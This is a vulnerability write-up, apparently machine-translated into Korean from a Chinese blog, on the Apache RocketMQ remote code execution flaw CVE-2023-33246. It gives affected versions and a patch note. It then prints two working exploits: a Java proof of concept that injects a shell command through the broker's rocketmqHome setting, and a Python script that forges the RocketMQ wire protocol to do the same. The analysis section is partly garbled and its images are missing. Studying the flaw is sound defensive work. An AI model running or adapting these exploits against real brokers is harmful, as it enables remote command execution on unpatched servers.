Apache RocketMQ 원격 코드 실행 취약점(CVE-2023-33246)

취약점 프로필

RocketMQ 5.1.0 이하의 경우 특정 조건에서 원격 명령 실행의 위험이 있습니다. RocketMQ의 NameServer, Broker, Controller 및 기타 구성 요소가 외부 네트워크에서 유출되어 권한 검증이 부족하여 공격자는 이 취약점을 악용하여 업데이트 구성 기능을 사용하여 RocketMQ를 실행하는 시스템 사용자로 명령을 실행할 수 있습니다. 또한 공격자는 RocketMQ 프로토콜의 콘텐츠를 위조하여 동일한 효과를 얻을 수 있습니다.

영향을 받는 버전

5.0.0 <= 아파치 RocketMQ < 5.1.1

4.0.0 <= 아파치 RocketMQ < 4.9.6

보안 버전

아파치 RocketMQ 5.1.1

아파치 RocketMQ 4.9.6

취약점 재발

로컬에서 maven 프로젝트 생성 및 종속성 추가

<dependencies>   
 <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
        <dependency>
            <groupId>org.apache.rocketmq</groupId>
            <artifactId>rocketmq-tools</artifactId>
            <version>5.1.0</version>
        </dependency>
</dependencies>

익스플로잇 코드 작성

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Properties;

public class poc1 {
    
    
    public static void main(String[] args) throws Exception {
    
    
        // 创建 Properties 对象
        Properties props = new Properties();
        //修改rocketmqHome配置
        props.setProperty("rocketmqHome","-c gnome-calculator test");
        props.setProperty("filterServerNums","1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        //此处为 namesrv 端口,此端口无需可访问
        admin.setNamesrvAddr("192.168.222.130:9876");
        admin.start();
        // 更新配置⽂件
        //此处为 broker 端口,必须可访问
        admin.updateBrokerConfig("192.168.222.130:10911", props);
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

취약점 분석

영상.

영상.

영상.

영상.

정말 위험한 작업은 인증 및 암호화된 전송 없이 10911과 통신하면서 동시에 명령 실행을 위한 매개 변수를 가져오는 작업이어야 합니다.

org/apache/rocketmq/remoting/protocol/RequestCode.java코드는 다른 함수 호출을 나타냅니다.

영상org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest.

영상​​org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig

영상​​org/apache/rocketmq/remoting/Configuration.java#update

영상.

속성 이름이 기본 제공되는 경우 업데이트 작업

‍사이버 보안 연구를 돕고 전체 정보 S 편지를 무료로 받으세요:
① 사이버 보안 학습 성장 경로의 마인드 맵
② 60개 이상의 기존 사이버 보안 툴킷
③ 100개 이상의 SRC 분석 보고서
④ 사이버 보안 공격 및 방어 전투 기술에 관한 150개 이상의 전자책
⑤ The 가장 권위 있는 CISSP 자격증 시험 가이드 + Question Bank
⑥ 1800페이지 이상의 CTF Practical Skills Manual
⑦ 네트워크 보안 회사의 최신 면접 질문 모음(답변 포함)
⑧ APP 클라이언트 보안 테스트 가이드(Android+IOS)

뒷부분이 더 깔끔하다

org/apache/rocketmq/broker/BrokerStartup.java#start.

영상​​org/apache/rocketmq/broker/BrokerController.java#start

영상​​org/apache/rocketmq/broker/BrokerController.java#startBasicService

영상​​org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start

[외부 링크 사진 전송 실패, 소스 사이트에 도난 방지 링크 메커니즘이 있을 수 있으므로 사진을 저장하고 직접 업로드하는 것이 좋습니다(img-AhERzAau-1690883548357)(https://m-1254331109.cos.ap- guangzhou.myqcloud.com/202308011624734 .png)] Wireshark에서 캡처한 데이터 패킷에 따르면 이러한 페이로드를 구성하여 취약점을 트리거할 수도 있습니다.

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',10911))

# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

버그 수정

명령 실행을 위한 모듈 제거

영상

추천

출처blog.csdn.net/qq_38154820/article/details/132047868